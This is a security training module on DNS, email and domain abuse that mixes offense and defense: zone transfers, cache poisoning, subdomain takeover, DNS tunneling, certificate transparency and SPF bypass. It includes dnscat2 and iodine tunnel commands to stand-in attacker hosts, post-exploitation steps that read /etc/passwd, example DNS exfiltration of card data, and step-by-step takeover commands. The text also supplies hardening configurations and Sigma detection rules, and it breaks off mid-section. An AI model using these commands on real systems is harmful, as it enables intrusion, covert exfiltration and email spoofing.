DNS Security, Email Infrastructure & Domain Abuse — Deep Dive
DNS Security, Email Infrastructure & Domain Abuse — Deep Dive
CIPHER Training Module — DNS/Email/Domain Infrastructure Covers offensive enumeration, defensive hardening, protocol-level attacks, and detection engineering.
Table of Contents
- DNS Fundamentals for Security Practitioners
- DNS Zone Transfer Attacks
- DNS Cache Poisoning
- DNSSEC Implementation & Attacks
- Subdomain Enumeration Arsenal
- Subdomain Takeover Methodology
- DNS Tunneling — Offense & Detection
- Certificate Transparency Exploitation
- Domain Permutation & Phishing Detection
- SPF Configuration & Bypass
- DKIM Implementation & Bypass
- DMARC Configuration & Bypass
- Email Header Analysis
- Email Infrastructure Testing
- Domain Reputation Management
- Visual Reconnaissance & Screenshot Tools
- YARA-Based Threat Intelligence
- Detection Engineering for DNS/Email Threats
- Toolchain Reference
1. DNS Fundamentals for Security Practitioners
Record Types — Security Relevance
| Record | Purpose | Security Relevance |
|---|---|---|
| A/AAAA | IPv4/IPv6 address | Infrastructure mapping, subdomain takeover detection |
| CNAME | Canonical name alias | Dangling CNAME = subdomain takeover vector |
| MX | Mail exchange | Email infrastructure discovery, spoofing assessment |
| NS | Nameserver delegation | Zone transfer targets, NS takeover |
| TXT | Arbitrary text | SPF, DKIM, DMARC, domain verification tokens |
| SRV | Service location | Internal service discovery (_ldap, _kerberos, _sip) |
| SOA | Start of authority | Zone metadata, serial numbers, admin email |
| PTR | Reverse DNS | Infrastructure attribution, IP-to-hostname mapping |
| CAA | Certificate Authority Authorization | Controls which CAs can issue certs for domain |
| NAPTR | Naming Authority Pointer | VoIP/SIP infrastructure discovery |
| TLSA | DANE TLS association | Certificate pinning via DNS |
DNS Query Flow — Attack Surface
Client -> Stub Resolver -> Recursive Resolver -> Root NS -> TLD NS -> Authoritative NS
| | | |
| | +-- Cache poisoning target |
| +-- DNS hijacking via DHCP/router compromise |
+-- Local hosts file manipulation Zone transfer target +
Recursive vs Authoritative — Why It Matters
- Recursive resolvers (8.8.8.8, 1.1.1.1): Cache responses, vulnerable to cache poisoning, can be used for amplification attacks
- Authoritative servers: Hold zone data, vulnerable to zone transfers, AXFR/IXFR abuse, denial of service
- Open resolvers: Amplification attack vector (response >> query), should never be exposed publicly
2. DNS Zone Transfer Attacks
Attack Mechanics
Zone transfers (AXFR/IXFR) replicate the entire DNS zone from primary to secondary nameservers. When misconfigured, any client can request the full zone — exposing internal hostnames, IP ranges, mail servers, and service records.
AXFR (Full Zone Transfer):
# Manual zone transfer attempt
dig @ns1.target.com target.com AXFR
# Using host command
host -t axfr target.com ns1.target.com
# Using nslookup
nslookup
> server ns1.target.com
> set type=any
> ls -d target.com
IXFR (Incremental Zone Transfer):
# Request changes since serial number
dig @ns1.target.com target.com IXFR=2024010100
Tooling for Zone Transfer Testing
dnsrecon — comprehensive DNS enumeration including zone transfers:
# Standard enumeration with zone transfer check
dnsrecon -d target.com -t std
# Zone transfer specific
dnsrecon -d target.com -t axfr
# SRV record enumeration (discovers internal services)
dnsrecon -d target.com -t srv
# Brute force subdomains with wordlist
dnsrecon -d target.com -t brt -D wordlist.txt
# Cache snooping against resolver
dnsrecon -d target.com -t snoop -n 10.0.0.1
# Reverse lookup on CIDR
dnsrecon -d target.com -t rvl -r 10.0.0.0/24
fierce — DNS reconnaissance and zone transfer:
# Basic enumeration with zone transfer attempt
fierce --domain target.com
# With specific subdomains to test
fierce --domain target.com --subdomains admin api dev staging
# Traverse nearby IPs after discovery
fierce --domain target.com --traverse 10
# Scan entire /24 of discovered IPs
fierce --domain target.com --wide
# Internal network reconnaissance
fierce --dns-servers 10.0.0.1 --range 10.0.0.0/24
Zone Transfer Defense
BIND Configuration:
// Allow zone transfers only to secondary NS IPs
options {
allow-transfer { 10.0.1.2; 10.0.1.3; };
};
// Per-zone restriction
zone "example.com" {
type master;
file "db.example.com";
allow-transfer { key "transfer-key"; }; // TSIG authentication
also-notify { 10.0.1.2; 10.0.1.3; };
};
// TSIG key for authenticated transfers
key "transfer-key" {
algorithm hmac-sha256;
secret "base64-encoded-secret";
};
Windows DNS Server:
# Restrict zone transfers to specific servers
Set-DnsServerPrimaryZone -Name "example.com" -SecureSecondaries TransferToSecureServers
Detection
# Sigma rule: Zone transfer attempt detection
title: DNS Zone Transfer Attempt (AXFR/IXFR)
id: 8a2c3f4e-1b5d-4c6a-9e7f-0d8b2a1c3e5f
status: experimental
description: Detects DNS zone transfer requests which may indicate reconnaissance
logsource:
category: dns_query
product: network
detection:
selection:
query_type:
- 'AXFR'
- 'IXFR'
condition: selection
falsepositives:
- Legitimate secondary DNS servers performing zone transfers
- DNS management tools during authorized audits
level: high
tags:
- attack.t1590.002
- attack.reconnaissance
3. DNS Cache Poisoning
Classical Kaminsky Attack
Concept: Race condition between legitimate DNS response and attacker-injected forged response to a recursive resolver.
Attack Flow:
- Attacker queries recursive resolver for
random123.target.com(nonexistent, forces resolver to query authoritative NS) - Before legitimate response arrives, attacker floods resolver with forged responses containing:
- Correct transaction ID (guessed via birthday attack — 16-bit field = 65,536 possibilities)
- Spoofed source IP of authoritative NS
- Authority section pointing
target.comNS to attacker-controlled nameserver
- If forged response arrives first and transaction ID matches, resolver caches the poisoned delegation
- All subsequent queries for
*.target.comgo to attacker's nameserver
Why Random Subdomain: Each failed attempt for randomN.target.com generates a new transaction ID, enabling rapid retry without waiting for TTL expiration on cached negative results.
Modern Defenses Against Cache Poisoning
Source Port Randomization (RFC 5452):
# Verify resolver uses random source ports
dig @resolver-ip example.com | grep -i "SERVER"
# Check from resolver side
ss -ulnp | grep named # Should show varied source ports
DNSSEC — cryptographic chain of trust (see Section 4)
DNS Cookies (RFC 7873):
# BIND configuration
options {
send-cookie yes;
cookie-algorithm siphash24;
};
Response Rate Limiting (RRL):
# BIND RRL configuration
rate-limit {
responses-per-second 5;
window 15;
slip 2;
ipv4-prefix-length 24;
ipv6-prefix-length 56;
};
SAD DNS Attack (Side-channel Assisted DNS Poisoning, 2020)
Exploits ICMP port unreachable messages as a side channel to determine the ephemeral port used by the resolver, reducing the guessing space from 2^16 ports * 2^16 TXIDs to just 2^16 TXIDs.
Mitigation:
# Linux: Rate-limit outgoing ICMP port unreachable
iptables -A OUTPUT -p icmp --icmp-type port-unreachable -j RATE --rate 50/sec
# Or disable ICMP responses entirely (aggressive)
sysctl -w net.ipv4.icmp_ratelimit=0
DNS over HTTPS (DoH) / DNS over TLS (DoT)
Encrypts DNS queries, preventing on-path observation and tampering:
# Configure systemd-resolved for DoT
# /etc/systemd/resolved.conf
[Resolve]
DNS=1.1.1.1#cloudflare-dns.com 8.8.8.8#dns.google
DNSOverTLS=yes
DNSSEC=yes
# Verify DoT is working
resolvectl status
resolvectl query --protocol=dot example.com
Detection consideration: DoH on port 443 blends with HTTPS traffic — harder for network security monitoring. DoT on port 853 is identifiable and blockable.
4. DNSSEC Implementation & Attacks
How DNSSEC Works
DNSSEC adds cryptographic signatures to DNS records, creating a chain of trust from root zone to individual records.
Key Components:
- RRSIG — Digital signature over a set of DNS records
- DNSKEY — Public key used to verify RRSIG signatures
- DS — Delegation Signer record linking child zone's DNSKEY to parent zone
- NSEC/NSEC3 — Authenticated denial of existence (proves a record does NOT exist)
Chain of Trust:
Root Zone (.) → DNSKEY → DS for .com
.com → DNSKEY → DS for example.com
example.com → DNSKEY → RRSIG over A, MX, etc.
DNSSEC Zone Signing (BIND)
# Generate Zone Signing Key (ZSK)
dnssec-keygen -a ECDSAP256SHA256 -n ZONE example.com
# Generate Key Signing Key (KSK)
dnssec-keygen -a ECDSAP256SHA256 -n ZONE -f KSK example.com
# Sign the zone
dnssec-signzone -A -3 $(head -c 1000 /dev/urandom | sha1sum | cut -b 1-16) \
-N INCREMENT -o example.com -t db.example.com
# Add DS record to parent zone (via registrar)
# Extract DS from signed zone file
DNSSEC Validation
# Test DNSSEC validation
dig +dnssec example.com A
# Look for 'ad' (Authenticated Data) flag in response
# Verify DNSSEC chain
dig +trace +dnssec example.com
# Check DS record at parent
dig example.com DS @a.gtld-servers.net
# Validate with drill
drill -DT example.com
NSEC Zone Walking Attack
NSEC records chain together all existing names in a zone — an attacker can enumerate all records by following the chain.
# NSEC zone walking
# ldns-walk from ldns-utils
ldns-walk @ns1.target.com target.com
# Using dnsrecon
dnsrecon -d target.com -t zonewalk
# Using nsec3walker
nsec3walker --zone target.com --nameserver ns1.target.com
NSEC3 Mitigation: Replaces plaintext names with hashed names. However, NSEC3 hashes can be cracked offline:
# Collect NSEC3 records
dig target.com NSEC3PARAM
# Crack NSEC3 hashes with nsec3cracker or hashcat
hashcat -m 8300 nsec3_hashes.txt wordlist.txt
NSEC3 with Opt-Out: Large zones (like .com) use opt-out to avoid signing every delegation, creating gaps that can be exploited.
DNSSEC Failure Modes
| Failure | Impact | Detection |
|---|---|---|
| Expired signatures | SERVFAIL for validating resolvers | Monitor RRSIG expiry dates |
| Key rollover failure | Chain of trust breaks | Test with delv or drill -DT |
| Algorithm rollover | Incompatible validators reject zone | Test against multiple validators |
| Missing DS at parent | Zone appears unsigned | dig DS at parent |
| Clock skew | Signature validation fails | NTP synchronization |
5. Subdomain Enumeration Arsenal
Passive Enumeration
Certificate Transparency (crt.sh):
# Query crt.sh for subdomains
curl -s "https://crt.sh/?q=%25.target.com&output=json" | \
jq -r '.[].name_value' | sort -u
# With massdns ct.py script
python3 ct.py target.com | massdns -r resolvers.txt -t A -o S
OWASP Amass — Passive Mode:
# Passive-only enumeration (no DNS queries to target)
amass enum -passive -d target.com -o passive_subs.txt
# With API keys configured in datasources.yaml
amass enum -passive -d target.com -config config.yaml
# Intel gathering — discover related domains via ASN
amass intel -asn 12345 -o intel_results.txt
# Track changes between enumerations
amass track -d target.com
Amass integrates 50+ data sources including certificate transparency logs, search engines, DNS aggregators, WHOIS data, web archives, and third-party APIs (Shodan, Censys, VirusTotal, SecurityTrails, etc.). Configuration via datasources.yaml manages API credentials.
Active Enumeration
MassDNS — High-Performance Resolution:
# Resolve subdomain list (350,000+ queries/sec)
massdns -r resolvers.txt -t A -o S -w results.txt subdomains.txt
# Subdomain brute-force with subbrute
./scripts/subbrute.py target.com wordlist.txt | \
massdns -r resolvers.txt -t A -o S -w results.txt
# JSON output for parsing
massdns -r resolvers.txt -t A -o J subdomains.txt > results.json
# Authoritative-only queries (bypass resolver caching)
massdns -r <(./scripts/auth-addrs.sh target.com) --norecurse -o Je subs.txt
# Certificate transparency integration
./scripts/ct.py target.com | massdns -r resolvers.txt -t A -o S
Performance Tuning:
-sflag controls concurrent lookups (default 10,000) — higher values increase speed but may overwhelm resolvers--intervalsets retry delay in milliseconds (default 500)--resolve-countsets max retries (default 50)--rand-src-ipv6 <prefix>randomizes source IPv6 to evade resolver rate-limiting (requiresCAP_NET_RAW)
Puredns — Wildcard-Aware Resolution:
# Resolve with wildcard detection and filtering
puredns resolve subdomains.txt -r resolvers.txt --write valid.txt
# Brute-force with automatic wildcard filtering
puredns bruteforce wordlist.txt target.com -r resolvers.txt
# Multi-domain brute-force
puredns bruteforce wordlist.txt -d domains.txt
# Save all output types
puredns resolve subs.txt \
--write valid.txt \
--write-wildcards wildcards.txt \
--write-massdns massdns_raw.txt
# Pipeline integration
cat subs.txt | puredns resolve -q | httpx
Wildcard Detection: Puredns uses multi-phase analysis:
- Phase 1: Mass resolve via massdns
- Phase 2: Identify wildcard roots by analyzing phase 1 results as DNS cache
- Phase 3: Validate remaining results against trusted resolvers (default: 8.8.8.8, 8.8.4.4)
--wildcard-tests N (default 3) — increase to 50+ for heavily load-balanced DNS. --wildcard-batch controls memory usage for large datasets.
Subdomain Permutation
AlterX — Pattern-Based Generation:
# Basic permutation with enrichment
cat known_subs.txt | alterx -enrich -o permuted.txt
# Custom patterns
alterx -list subs.txt -p '{{word}}-{{sub}}.{{suffix}}' -o out.txt
# Pipeline: passive enum -> permutation -> resolution
chaos -d target.com | alterx -enrich | puredns resolve -q
# Estimate output size before generating
alterx -list subs.txt -enrich -es
DSL Variables:
| Variable | Description | Example (input: api.dev.target.com) |
|---|---|---|
{{sub}} |
Leftmost subdomain | api |
{{suffix}} |
Everything after subdomain | dev.target.com |
{{root}} |
eTLD+1 | target.com |
{{tld}} |
Top-level domain | com |
{{word}} |
From wordlist/enrichment | prod, staging, etc. |
{{subN}} |
Numbered subdomain parts | {{sub1}} = api, {{sub2}} = dev |
Altdns — Classic Permutation:
# Generate permutations and resolve
altdns -i subdomains.txt -o permuted.txt -w words.txt -r -s valid.txt
# Generate only (resolve separately with massdns/puredns)
altdns -i subdomains.txt -o permuted.txt -w words.txt
# Custom resolver
altdns -i subs.txt -o out.txt -w words.txt -r -s valid.txt -d 1.2.3.4
Best results with 200+ initial subdomains. Works by prepending, appending, and inserting wordlist terms with separators (dash, dot) to known subdomains.
Complete Enumeration Pipeline
#!/bin/bash
# Full subdomain enumeration pipeline
TARGET="target.com"
# Phase 1: Passive collection
amass enum -passive -d $TARGET -o passive.txt
curl -s "https://crt.sh/?q=%25.$TARGET&output=json" | jq -r '.[].name_value' | sort -u >> passive.txt
sort -u passive.txt -o passive.txt
# Phase 2: Permutation
cat passive.txt | alterx -enrich -o permuted.txt
# Phase 3: Active resolution with wildcard filtering
puredns resolve permuted.txt -r resolvers.txt --write resolved.txt
# Phase 4: HTTP probing
cat resolved.txt | httpx -silent -status-code -title -tech-detect -o live.txt
# Phase 5: Visual reconnaissance
cat live.txt | aquatone -out aquatone_report/
6. Subdomain Takeover Methodology
Core Concept
A subdomain takeover occurs when a DNS record (usually CNAME) points to an external service that has been deprovisioned. An attacker claims that resource on the external platform and serves content under the victim's subdomain.
Indicators of Vulnerability
CNAME dangling reference:
blog.target.com → CNAME → target.ghost.io (Ghost blog removed)
shop.target.com → CNAME → target.myshopify.com (Shopify store closed)
docs.target.com → CNAME → target.s3.amazonaws.com (S3 bucket deleted)
Error Signatures by Provider:
| Provider | Error Message / Indicator | CNAME Pattern |
|---|---|---|
| AWS S3 | "NoSuchBucket" | *.s3.amazonaws.com, *.s3-website-*.amazonaws.com |
| AWS CloudFront | "Bad Request" / no distribution | *.cloudfront.net |
| AWS Elastic Beanstalk | NXDOMAIN on *.elasticbeanstalk.com |
*.elasticbeanstalk.com |
| Azure Blob | "The specified container does not exist" | *.blob.core.windows.net |
| Azure App Service | Default Azure page / NXDOMAIN | *.azurewebsites.net |
| Azure CDN | "404 - page not found" | *.azureedge.net |
| Azure Traffic Manager | NXDOMAIN | *.trafficmanager.net |
| GitHub Pages | "There isn't a GitHub Pages site here" | *.github.io |
| Heroku | "No such app" | *.herokuapp.com, *.herokudns.com |
| Shopify | "Sorry, this shop is currently unavailable" | *.myshopify.com |
| Ghost | "The thing you were looking for is no longer here" | *.ghost.io |
| Tumblr | "There's nothing here" / "Whatever you were looking for..." | *.tumblr.com |
| WordPress.com | "Do you want to register" | *.wordpress.com |
| Fastly | "Fastly error: unknown domain" | *.fastly.net |
| Pantheon | "404 error unknown site!" | *.pantheonsite.io |
| Zendesk | "Help Center Closed" | *.zendesk.com |
| Surge.sh | "project not found" | *.surge.sh |
| Fly.io | NXDOMAIN | *.fly.dev |
| Google Cloud Storage | "NoSuchBucket" | *.storage.googleapis.com |
| Firebase | Default Firebase page | *.firebaseapp.com, *.web.app |
| Netlify | "Not Found - Request ID" | *.netlify.app, *.netlify.com |
| Vercel | Default Vercel 404 | *.vercel.app, *.now.sh |
| Cargo Collective | "If you're moving your domain away..." | *.cargocollective.com |
| Strikingly | "page not found" | *.strikinglys.com |
| Unbounce | "The requested URL was not found" | *.unbouncepages.com |
| Bitbucket | "Repository not found" | *.bitbucket.io |
| Agile CRM | "Sorry, this page is no longer available" | *.agilecrm.com |
| Readme.io | "Project doesnt exist" | *.readme.io |
Cloud Provider — Detailed Takeover Process
AWS S3:
# 1. Identify dangling CNAME
dig blog.target.com CNAME
# Returns: target-blog.s3.amazonaws.com
# 2. Verify bucket doesn't exist
curl -I http://target-blog.s3.amazonaws.com
# Returns: 404 NoSuchBucket
# 3. Create the bucket in your AWS account (same name)
aws s3 mb s3://target-blog --region us-east-1
# 4. Enable static website hosting
aws s3 website s3://target-blog --index-document index.html
# 5. Set public read policy
aws s3api put-bucket-policy --bucket target-blog --policy '{
"Statement": [{
"Effect": "Allow",
"Principal": "*",
"Action": "s3:GetObject",
"Resource": "arn:aws:s3:::target-blog/*"
}]
}'
# 6. Upload proof of concept
echo "<h1>Subdomain Takeover PoC</h1>" > index.html
aws s3 cp index.html s3://target-blog/
AWS CloudFront:
# Dangling distribution — CNAME configured but distribution deleted
# Create new CloudFront distribution with the target's CNAME as alternate domain
aws cloudfront create-distribution \
--origin-domain-name attacker-origin.com \
--default-root-object index.html \
--aliases cdn.target.com
Azure App Service:
# 1. Verify dangling CNAME
dig app.target.com CNAME # -> target-app.azurewebsites.net (NXDOMAIN)
# 2. Create Azure App Service with matching name
az webapp create --name target-app --resource-group mygroup --plan myplan
# 3. Add custom domain
az webapp config hostname add --webapp-name target-app \
--resource-group mygroup --hostname app.target.com
GitHub Pages:
# 1. Verify CNAME to *.github.io that shows "There isn't a GitHub Pages site here"
# 2. Create repo matching the GitHub Pages naming convention
# 3. Add CNAME file with target subdomain
echo "docs.target.com" > CNAME
git add CNAME && git commit -m "takeover" && git push
NS Delegation Takeover
More severe than CNAME — attacker controls the entire zone:
# Check if NS records point to expired/available domains
dig target.com NS
# If ns1.expired-dns-provider.com is available for registration:
# Register the domain, set up authoritative DNS, control all records
Automated Detection
# Scan for dangling CNAMEs across subdomain list
while read sub; do
cname=$(dig +short $sub CNAME)
if [ -n "$cname" ]; then
http_code=$(curl -s -o /dev/null -w "%{http_code}" "http://$sub" 2>/dev/null)
echo "$sub -> $cname (HTTP: $http_code)"
fi
done < subdomains.txt | grep -E "(404|NXDOMAIN|NoSuchBucket|not found)"
# Using nuclei with takeover templates
nuclei -l subdomains.txt -t takeovers/
# Using subjack
subjack -w subdomains.txt -t fingerprints.json -timeout 30 -ssl -v
Prevention
- Remove DNS records before deprovisioning services — always delete CNAME/A records first
- Monitor for dangling records — automated weekly scans of all DNS entries
- Use CAA records — restrict certificate issuance to prevent SSL for taken-over subdomains
- Implement subdomain monitoring — alert on CNAME targets that return NXDOMAIN
- DNS record inventory — maintain authoritative list of all DNS records with service owners
- Claim-before-delete — on cloud platforms, verify the custom domain mapping exists before removing the resource
7. DNS Tunneling — Offense & Detection
dnscat2 — Deep Protocol Analysis
Architecture:
- Client-server model: client sends DNS queries, server runs on authoritative NS
- Custom protocol layer treats DNS as a byte-stream transport
- DNS is merely the carrier — the dnscat protocol handles sessions, encryption, windowing
Tunnel Establishment:
# Server setup (attacker's authoritative NS for tunnel.attacker.com)
ruby dnscat2.rb tunnel.attacker.com
# or with pre-shared secret for MitM protection
ruby dnscat2.rb tunnel.attacker.com --secret=mysecretkey
# Client (on compromised host)
./dnscat --dns domain=tunnel.attacker.com
# or direct connection (no authoritative NS needed, but more detectable)
./dnscat --dns host=attacker-ip,port=53
Record Types for Tunneling:
- TXT — highest bandwidth, can carry ~189 bytes per query (base64 in subdomain label + TXT response)
- CNAME — moderate bandwidth, single label response
- MX — moderate bandwidth, domain name in response
- A/AAAA — lowest bandwidth, 4/16 bytes per response respectively
- dnscat2 defaults to TXT, CNAME, MX but supports all types
Encryption:
- ECDH key exchange per session (new keypair each connection)
- Salsa20 stream cipher for data encryption
- SHA3 for message authentication
- Pre-shared secret mode prevents MitM during key exchange
- "Short authentication strings" (English word sequences) for manual verification
Session Management:
- Window-based multiplexing: main command window + child sessions
- Each session can spawn shells, file transfers, port forwards
- Polling architecture: client periodically queries server (resilient to drops)
- Handles out-of-order, dropped, and duplicate packets
Post-Exploitation via dnscat2:
# Server-side commands after client connects
dnscat2> session -i 1 # Interact with session
command (client) > shell # Spawn shell (new session)
command (client) > exec calc # Execute command
command (client) > download /etc/passwd /tmp/passwd
command (client) > listen 0.0.0.0:4444 target:22 # Port forward
Other DNS Tunneling Tools
iodine — IP-over-DNS:
# Server
iodined -f -c -P password 10.0.0.1 tunnel.attacker.com
# Client
iodine -f -P password tunnel.attacker.com
# Creates tun interface — full IP tunnel over DNS
dns2tcp:
# Server config (/etc/dns2tcpd.conf)
listen = 0.0.0.0
port = 53
user = nobody
chroot = /tmp
domain = tunnel.attacker.com
resources = ssh:127.0.0.1:22, smtp:127.0.0.1:25
DNS Tunneling Detection
Network Indicators:
| Indicator | Normal DNS | DNS Tunnel |
|---|---|---|
| Query length | 20-60 chars | 100-253 chars (max label length) |
| Subdomain labels | 1-3 levels | 4+ levels of encoded data |
| Query frequency | Sporadic, user-driven | Regular polling intervals |
| Record types | A, AAAA dominant | TXT, NULL, CNAME heavy |
| Response size | Small (4-16 bytes for A/AAAA) | Large TXT records |
| Entropy | Low (human-readable) | High (base32/64 encoded) |
| Unique subdomains | Low per domain | Extremely high per domain |
| Time pattern | Business hours, bursty | Consistent 24/7 heartbeat |
Detection Queries:
-- Splunk: High-entropy DNS queries
index=dns
| eval query_length=len(query)
| eval label_count=mvcount(split(query, "."))
| where query_length > 50 AND label_count > 4
| stats count by query, src_ip
| where count > 100
-- Splunk: Unusual TXT record volume
index=dns query_type=TXT
| stats count by src_ip, query
| where count > 50
| sort -count
# Sigma: DNS tunneling detection via query length
title: Potential DNS Tunneling via Long Subdomain Queries
id: 7c3a5e2d-9f1b-4a8c-b6d3-2e7f0c4a1b9d
status: experimental
description: Detects unusually long DNS queries that may indicate DNS tunneling
logsource:
category: dns_query
product: network
detection:
selection:
query|re: '^[a-z0-9]{30,}\.' # Long encoded subdomain labels
condition: selection
falsepositives:
- CDN domains with long subdomain prefixes
- DKIM verification queries
- Anti-spam DNS lookups (DNSBL)
level: medium
tags:
- attack.t1572
- attack.command_and_control
---
# Sigma: High volume of TXT queries to single domain
title: Excessive TXT DNS Queries to Single Domain
id: 3b8c1d4e-5f6a-7b2c-9d0e-1a3f5c7d9b2e
status: experimental
description: Detects high volume of TXT record queries to a single domain indicating potential data exfiltration
logsource:
category: dns_query
product: network
detection:
selection:
query_type: 'TXT'
timeframe: 5m
condition: selection | count(query) by dst_domain > 100
falsepositives:
- SPF/DKIM/DMARC validation for high-volume mail servers
- DNS-based service discovery
level: high
tags:
- attack.t1048.003
- attack.exfiltration
Entropy-Based Detection:
import math
from collections import Counter
def shannon_entropy(data: str) -> float:
"""Calculate Shannon entropy of a string."""
if not data:
return 0.0
counter = Counter(data)
length = len(data)
return -sum(
(count / length) * math.log2(count / length)
for count in counter.values()
)
# Normal DNS: entropy ~2.5-3.5
# Tunneled DNS: entropy ~4.0-5.0+
# Threshold: flag queries with entropy > 3.8 on subdomain portion
DNS Exfiltration Detection
Beyond tunneling (bidirectional), watch for one-way exfiltration:
# Data encoded as subdomain labels
# Exfiltrating credit cards:
NDIzNDU2Nzg5MDEyMzQ1Ng.exfil.attacker.com (base64 of CC number)
# Exfiltrating file contents chunk by chunk
chunk001.aGVsbG8gd29ybGQ.exfil.attacker.com
chunk002.dGhpcyBpcyBhIHQ.exfil.attacker.com
8. Certificate Transparency Exploitation
How CT Works
Certificate Transparency (RFC 6962) requires CAs to log all issued certificates to publicly auditable append-only logs. This creates a rich data source for:
- Offense: Subdomain discovery, infrastructure mapping, identifying shadow IT
- Defense: Detecting unauthorized certificate issuance, monitoring for impersonation
Querying Certificate Transparency
crt.sh (Sectigo):
# Find all certificates for a domain
curl -s "https://crt.sh/?q=%25.target.com&output=json" | \
jq -r '.[].name_value' | sed 's/\*\.//g' | sort -u
# Find certificates by organization
curl -s "https://crt.sh/?q=target.com&output=json" | \
jq -r '.[] | [.id, .name_value, .issuer_name, .not_before, .not_after] | @csv'
# Search by SHA-256 fingerprint
curl -s "https://crt.sh/?q=FINGERPRINT_HERE&output=json"
MassDNS CT Integration:
# Extract subdomains from CT logs and resolve
python3 scripts/ct.py target.com | sort -u | \
massdns -r resolvers.txt -t A -o S -w ct_resolved.txt
Defensive CT Monitoring
# Monitor for new certificates (cron job)
#!/bin/bash
DOMAIN="target.com"
KNOWN_CERTS="/opt/ct-monitor/known_certs.txt"
touch "$KNOWN_CERTS"
curl -s "https://crt.sh/?q=%25.$DOMAIN&output=json" | \
jq -r '.[].id' | sort -n > /tmp/current_certs.txt
diff "$KNOWN_CERTS" /tmp/current_certs.txt | grep '^>' | \
while read _ cert_id; do
echo "[ALERT] New certificate issued: https://crt.sh/?id=$cert_id"
# Send alert to SIEM/Slack
done
cp /tmp/current_certs.txt "$KNOWN_CERTS"
CAA Records — Restricting Certificate Issuance
# Only allow Let's Encrypt and DigiCert to issue certificates
# Report violations to security team
$ORIGIN example.com.
@ CAA 0 issue "letsencrypt.org"
@ CAA 0 issue "digicert.com"
@ CAA 0 issuewild "letsencrypt.org" ; wildcard certs
@ CAA 0 iodef "mailto:security@example.com" ; violation reports
@ CAA 0 iodef "https://example.com/caa-report"
# Verify CAA records
dig example.com CAA
9. Domain Permutation & Phishing Detection
dnstwist — Domain Fuzzing Engine
Permutation Algorithms:
| Algorithm | Description | Example (target.com) |
|---|---|---|
| Bitsquatting | Single-bit flip in domain | tareet.com, targev.com |
| Homoglyph | Unicode lookalike characters | targеt.com (Cyrillic 'e') |
| Typosquatting | Adjacent key substitutions | tqrget.com, targwt.com |
| Hyphenation | Insert hyphens | tar-get.com, targe-t.com |
| Insertion | Insert characters | tarrget.com, targget.com |
| Omission | Remove characters | trget.com, targt.com |
| Repetition | Repeat characters | ttarget.com, tarrget.com |
| Replacement | Replace with similar chars | target.corn (m->rn) |
| Subdomain | Insert dots | t.arget.com, ta.rget.com |
| Transposition | Swap adjacent chars | tagertt.com |
| Vowel swap | Replace vowels | terget.com, targot.com |
| Addition | Append characters | targets.com, target1.com |
| Dictionary | Append/prepend words | target-login.com |
| TLD swap | Change TLD | target.net, target.org |
Usage:
# Show only registered (active) domains
dnstwist --registered target.com
# Phishing page detection via fuzzy hashing
dnstwist --lsh https://target.com/login
# Alternative fuzzy hash algorithm
dnstwist --lsh tlsh target.com
# Screenshot comparison (perceptual hashing)
dnstwist --phash --screenshots /tmp/screenshots target.com
# MX record detection (catching misdirected email)
dnstwist target.com | grep MX
# GeoIP analysis
dnstwist --geoip target.com
# Selective fuzzers
dnstwist --fuzzers "homoglyph,hyphenation" target.com
# CSV export for SIEM integration
dnstwist --format csv target.com > brand_monitor.csv
# With custom dictionary
dnstwist --dictionary dictionaries/english.dict target.com
# TLD variations
dnstwist --tld dictionaries/common_tlds.dict target.com
Enterprise Integration: dnstwist integrates with Splunk, Cortex XSOAR, Rapid7, and CISA Crossfeed for continuous brand monitoring. SSDEEP/TLSH fuzzy hashing compares HTML content between the legitimate domain and suspicious lookalikes to detect active phishing pages.
Defensive Domain Monitoring Program
#!/bin/bash
# Daily brand protection scan
DOMAIN="company.com"
PREV="/opt/brand-monitor/previous.json"
CURR="/opt/brand-monitor/current.json"
# Generate current snapshot
dnstwist --registered --format json "$DOMAIN" > "$CURR"
# Compare with previous scan
python3 -c "
import json
prev = {d['domain']: d for d in json.load(open('$PREV'))}
curr = {d['domain']: d for d in json.load(open('$CURR'))}
new = set(curr.keys()) - set(prev.keys())
for d in new:
info = curr[d]
print(f'[NEW] {d} - A: {info.get(\"dns_a\",\"N/A\")} MX: {info.get(\"dns_mx\",\"N/A\")}')
"
cp "$CURR" "$PREV"
10. SPF Configuration & Bypass
SPF (Sender Policy Framework) — RFC 7208
SPF specifies which mail servers are authorized to send email for a domain via DNS TXT records.
SPF Record Syntax
v=spf1 [mechanisms] [modifiers]
Mechanisms:
| Mechanism | Description | Example |
|---|---|---|
ip4: |
IPv4 address/range | ip4:192.168.1.0/24 |
ip6: |
IPv6 address/range | ip6:2001:db8::/32 |
a |
Domain's A record | a:mail.example.com |
mx |
Domain's MX records | mx |
include: |
Include another domain's SPF | include:_spf.google.com |
exists: |
Check if A record exists | exists:%{i}.spf.example.com |
redirect= |
Use another domain's SPF as-is | redirect=_spf.example.com |
all |
Match everything (catch-all) | -all (hard fail) |
Qualifiers:
| Qualifier | Meaning | Result |
|---|---|---|
+ (default) |
Pass | Accept |
- |
Hard fail | Reject |
~ |
Soft fail | Accept but mark |
? |
Neutral | No policy |
SPF Configuration Examples
# Strict: Only Google Workspace sends mail
v=spf1 include:_spf.google.com -all
# Microsoft 365
v=spf1 include:spf.protection.outlook.com -all
# Multiple providers
v=spf1 include:_spf.google.com include:spf.protection.outlook.com ip4:203.0.113.0/24 -all
# Domain that should never send email
v=spf1 -all
# DANGEROUS: Overly permissive
v=spf1 +all # Anyone can send as this domain
v=spf1 include:example.com ~all # Soft fail = most receivers accept anyway
SPF Bypass Techniques
1. DNS Lookup Limit (10 maximum):
SPF allows max 10 DNS lookups (include, a, mx, redirect, exists). Exceeding this causes permerror — some receivers then ignore SPF entirely.
# Check SPF lookup count
dig target.com TXT | grep spf
# Recursively count includes — each include = 1+ lookups
# If >10: SPF is effectively broken
2. Soft Fail (~all) Exploitation:
Many domains use ~all instead of -all. Soft fail is treated as "suspicious but accept" by most receivers.
# Check for soft fail
dig target.com TXT | grep 'v=spf1' | grep '~all'
# If ~all: spoofed emails will likely be delivered (flagged but not rejected)
3. Subdomain Spoofing: SPF only protects the exact domain in the record. Subdomains without their own SPF inherit nothing.
# target.com has strict SPF, but:
dig sub.target.com TXT # No SPF record = no protection
# Spoof from: admin@sub.target.com — bypasses target.com SPF
4. SPF Record Fragmentation: Include chains that cross organizational boundaries may have gaps.
5. Return-Path vs From Header: SPF validates the envelope sender (Return-Path/MAIL FROM), not the display From header. Attacker sets:
- Return-Path: attacker@attacker.com (passes attacker's SPF)
- From: ceo@target.com (user sees this — spoofed)
This is why DMARC alignment is critical.
SPF Verification
# Check SPF record
dig target.com TXT | grep spf
# Validate SPF syntax
